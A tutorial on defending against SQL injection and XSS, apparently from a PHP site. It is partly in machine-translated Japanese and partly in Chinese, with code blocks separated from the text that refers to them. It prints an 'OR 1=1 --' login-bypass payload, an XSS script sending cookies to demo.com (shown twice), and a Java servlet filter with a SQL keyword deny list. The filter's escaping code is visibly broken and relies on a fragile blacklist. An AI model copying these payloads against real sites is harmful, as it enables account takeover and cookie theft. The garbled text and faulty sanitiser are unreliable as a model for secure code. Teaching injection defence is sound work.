SQL インジェクションの概要
SQL インジェクションの脆弱性 (SQL インジェクション) は、Web 開発における最も一般的なセキュリティ問題です。抜け穴。これを使用してデータベースから機密情報を取得したり、データベースの特性を利用してユーザーの追加やファイルのエクスポートなどの一連の悪意のある操作を実行したり、データベースやシステム ユーザーの最高の権限を取得することも可能です。 。
SQL インジェクションの理由は、プログラムがユーザーの入力を効果的にエスケープおよびフィルタリングしないため、攻撃者が悪意のある SQL クエリ コードをサーバーに送信できるためです。プログラムを受信した後、攻撃者の入力は誤って実行されます。クエリ ステートメントの一部として、元のクエリ ロジックが変更され、攻撃者が慎重に構築した追加の悪意のあるコードが実行されます。
多くの Web 開発者は、SQL クエリが改ざんされる可能性があることを認識していないため、SQL クエリを信頼できるコマンドとして扱っています。誰もが知っているように、SQL クエリはアクセス制御をバイパスすることができるため、認証と権限のチェックをバイパスできます。さらに、SQL クエリを介してホスト システム レベルのコマンドを実行することもできます。
SQL インジェクションの原理
SQL インジェクションの原理を実際の例を用いて詳しく説明します。
次の簡単な管理者ログイン フォームを考えてみましょう:
<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="登陆" /></p> </form>
バックエンド SQL ステートメントは次のようになります:
let querySQL = ` SELECT * FROM user WHERE username='${username}' AND psw='${password}' `; // 接下来就是执行 sql 语句
目的は、ユーザー名とパスワードが正しいことを確認することです。一見したところ、上記の SQL ステートメントには何も問題はなく、実際に目的を達成できることは当然です。ただし、ユーザーが設計に従って正直に入力するという観点から問題を見ているだけです。悪意のある攻撃者が「ユーザー名は zhangsan' OR 1 = 1 --」と入力し、好きなパスワードを入力すると、システムに直接ログインできます。
落ち着いて考えてください。以前に予想した実際の SQL ステートメントは次のとおりです:
SELECT * FROM user WHERE username='zhangsan' AND psw='mypassword'
悪意のある攻撃者の奇妙なユーザー名により、SQL ステートメントは次の形式に変更される可能性があります:
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1 --' AND psw='xxxx'
SQL では、 -- はコメントの後の内容を意味するため、クエリ ステートメントは次のようになります。
SELECT * FROM user WHERE username='zhangsan' OR 1 = 1
この SQL ステートメントのクエリ条件は常に true なので、悪意のある攻撃者は私を必要としないことを意味しますパスワードを使用すると、私のアカウントにログインでき、そこでやりたいことを何でもできます。ただし、これは最も単純なインジェクションにすぎません。素晴らしい SQL インジェクション マスターは、SQL クエリを通じてホスト システム レベルのコマンドを実行することもできます。ファイルをホストに挿入します。内容は一目瞭然ですが、ここで深く説明する能力はありません。結局のところ、私はこのタイプの攻撃を研究する専門家ではありません。ただし、上記の例を通して、SQL インジェクションの原理を理解したので、基本的に SQL インジェクションを防御する解決策を見つけることができます。
関連する推奨事項: 「ThinkPHP チュートリアル 」
SQL インジェクションの防止
SQL インジェクションを防止すると、主にユーザー入力が許可されなくなります。コンテンツは通常の SQL ステートメントのロジックに影響を与えます。ユーザーが入力した情報が SQL ステートメントを結合するために使用される場合、常にそれを信じないことを選択する必要があります。コンテンツはすべてエスケープしてフィルター処理する必要があります。もちろん、これだけでは十分ではありません。 SQL インジェクションを防御する際のいくつかの注意点:
1. Web アプリケーションのデータベースの操作権限を厳密に制限し、ユーザーの作業に必要な最小限の権限を付与することで、データベースに対するインジェクション攻撃の影響。
2. バックエンド コードは、入力データが期待を満たしているかどうかをチェックし、一部の照合処理に正規表現を使用するなど、変数の種類を厳密に制限します。
3. データベースに入力される特殊文字 ('、"、\、<、>、&、*、; など) をエスケープまたはエンコードします。基本的にすべてのバックエンド言語に対応するメソッドがあります。 lodash の lodash._escapehtmlchar ライブラリなどの文字列のエスケープ用。
4. すべてのクエリ ステートメントで、データベースによって提供されるパラメータ化されたクエリ インターフェイスを使用することをお勧めします。パラメータ化されたステートメントは、ユーザー入力変数を SQL ステートメントに埋め込む代わりにパラメータを使用します。つまり、SQL ステートメントを直接結合しないでください。たとえば、Node.js の mysqljs ライブラリのクエリ メソッドの ? プレースホルダー パラメーター。
mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);
5。アプリケーションを公開する前に使用することをお勧めします。専門的な SQL インジェクション検出ツールを使用して、発見された SQL インジェクションの脆弱性を検出し、迅速に修復します。インターネット上には、sqlmap、SQLninja などのオープン ソース ツールが多数あります。
6. SQL エラー メッセージを出力する Web サイトを避けてください。たとえば、型エラー、フィールドの不一致など、コード内の SQL ステートメントを公開して、攻撃者がこれらのエラー メッセージを SQL インジェクションに使用するのを防ぎます。目的は、デバッグを容易にするために、バックエンド ログを使用し、インターフェイス上であまり多くのエラー情報を公開しないことです。結局のところ、実際のユーザーは、合理的に話している限り、あまり多くの技術的な詳細を気にしません。
XSS 攻撃の概要XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。 理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。 XSS 攻击示例 有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下: 这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。 预防 XSS 攻击 核心思想 永远不要相信用户的输入,必须对输入的数据作过滤处理。 该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & < >。 比如,我刚刚的恶意代码被过滤后,会变为下面的代码: 这样,就可以预防大部分 XSS 攻击了。 服务端代码处理 以springboot为例: 可利用过滤器进行设置,如下所示: 以上がthinkphp が SQL インジェクション xss 攻撃を防ぐ方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>
<b>This is a XSS test!</b>
<script>
var cookie = document.cookie;
window.open("http://demo.com/getCookie.php?param="+cookie);
</script>
/**
* 防止sql注入,xss攻击
* 前端可以对输入信息做预处理,后端也可以做处理。
*/
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
private final Logger log = LoggerFactory.getLogger(getClass());
private static String key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char
|declare|;|or|-|+";
private static Set<String> notAllowedKeyWords = new HashSet<String>(0);
private static String replacedString="INVALID";
static {
String keyStr[] = key.split("\\|");
for (String str : keyStr) {
notAllowedKeyWords.add(str);
}
}
private String currentUrl;
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
currentUrl = servletRequest.getRequestURI();
}
/**覆盖getParameter方法,将参数名和参数值都做xss过滤。
* 如果需要获得原始的值,则通过super.getParameterValues(name)来获取
* getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
*/
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
@Override
public Map<String, String[]> getParameterMap(){
Map<String, String[]> values=super.getParameterMap();
if (values == null) {
return null;
}
Map<String, String[]> result=new HashMap<>();
for(String key:values.keySet()){
String encodedKey=cleanXSS(key);
int count=values.get(key).length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++){
encodedValues[i]=cleanXSS(values.get(key)[i]);
}
result.put(encodedKey,encodedValues);
}
return result;
}
/**
* 覆盖getHeader方法,将参数名和参数值都做xss过滤。
* 如果需要获得原始的值,则通过super.getHeaders(name)来获取
* getHeaderNames 也可能需要覆盖
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null) {
return null;
}
return cleanXSS(value);
}
private String cleanXSS(String valueP) {
// You'll need to remove the spaces from the html entities below
String value = valueP.replaceAll("<", "<").replaceAll(">", ">");
value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
value = value.replaceAll("'", "& #39;");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
value = cleanSqlKeyWords(value);
return value;
}
private String cleanSqlKeyWords(String value) {
String paramValue = value;
for (String keyword : notAllowedKeyWords) {
if (paramValue.length() > keyword.length() + 4
&& (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.
contains(" "+keyword+" "))) {
paramValue = StringUtils.replace(paramValue, keyword, replacedString);
log.error(this.currentUrl + "已被过滤,因为参数中包含不允许sql的关键词(" + keyword
+ ")"+";参数:"+value+";过滤后的参数:"+paramValue);
}
}
return paramValue;
}
}